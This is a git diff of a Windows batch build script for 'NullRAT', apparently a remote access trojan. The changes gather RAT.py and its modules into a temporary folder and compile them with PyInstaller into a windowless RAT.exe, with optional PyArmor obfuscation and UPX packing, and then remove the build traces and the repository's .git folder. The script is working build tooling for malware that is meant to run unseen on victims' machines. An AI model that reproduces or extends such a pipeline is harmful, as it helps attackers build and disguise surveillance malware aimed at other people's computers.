@@ -205,6 +205,23 @@ if "!icon!"=="yes" (
205205)
206206if " !upxdd! " == " yes" (set " path=!path! ;%~dp0 \NullRAT\upx;%~dp0 \upx" )
207207
208+ cd " %~dp0 "
209+ set " folder = compiling-%random% "
210+ mkdir " !folder! " & cd " NullRAT"
211+ copy *.* ..\" !folder! "
212+ copy " modules\*.*" ..\" !folder! "
213+
214+ cd modules
215+
216+ set " main_arg = pyinstaller --onefile --noconsole --icon=custom_icon.ico --hidden-import mss"
217+ set " main_arg2 = pyinstaller --onefile --noconsole --hidden-import mss"
218+ for %%i in (*) do set " main_arg = !main_arg! --add-data %%~nxi ;."
219+ for %%i in (*) do set " main_arg2 = !main_arg2! --add-data %%~nxi ;."
220+ set " main_arg = !main_arg! RAT.py"
221+ set " main_arg2 = !main_arg! RAT.py"
222+
223+ cd " %~dp0 !folder! "
224+
208225if " !pyarmor! " == " yes" (
209226 if " !icon! " == " yes" (
210227 pyarmor pack -e " --onefile --noconsole --icon=custom_icon.ico " RAT.py
@@ -213,15 +230,15 @@ if "!pyarmor!"=="yes" (
213230 )
214231) else (
215232 if " !icon! " == " yes" (
216- pyinstaller --onefile --noconsole --icon=custom_icon.ico RAT.py
233+ !main_arg!
217234 ) else (
218- pyinstaller --onefile --noconsole RAT.py
235+ !main_arg2!
219236 )
220237)
221238
222239move dist\RAT.exe " %~dp0 \" & echo .
223- rmdir /s /q " build "
224- rmdir /s /q " dist "
240+ cd " %~dp0 \ "
241+ rmdir /s /q " !folder! "
225242timeout /t 2
226243
227244exit
@@ -231,11 +248,9 @@ cd "%~dp0"
231248if exist " NullRAT\" (
232249 move NullRAT\custom_icon.ico " %~dp0 "
233250 move NullRAT\RAT.py " %~dp0 "
251+ move NullRAT\modules " %~dp0 "
234252 move NullRAT\upx\upx.exe " %~dp0 "
235253 rmdir /s /q NullRAT
236-
237- mkdir upx
238- move upx.exe upx\
239254)
240255attrib -h " .git"
241256del README.md
@@ -246,4 +261,11 @@ rmdir /s /q ".git"
246261rmdir /s /q " build"
247262rmdir /s /q " dist"
248263
264+ mkdir NullRAT
265+ move custom_icon.ico " %~dp0 \NullRAT"
266+ move RAT.py " %~dp0 \NullRAT"
267+ move modules " %~dp0 \NullRAT"
268+ mkdir NullRAT\upx
269+ move upx.exe " %~dp0 \NullRAT\upx"
270+
249271goto main
0 commit comments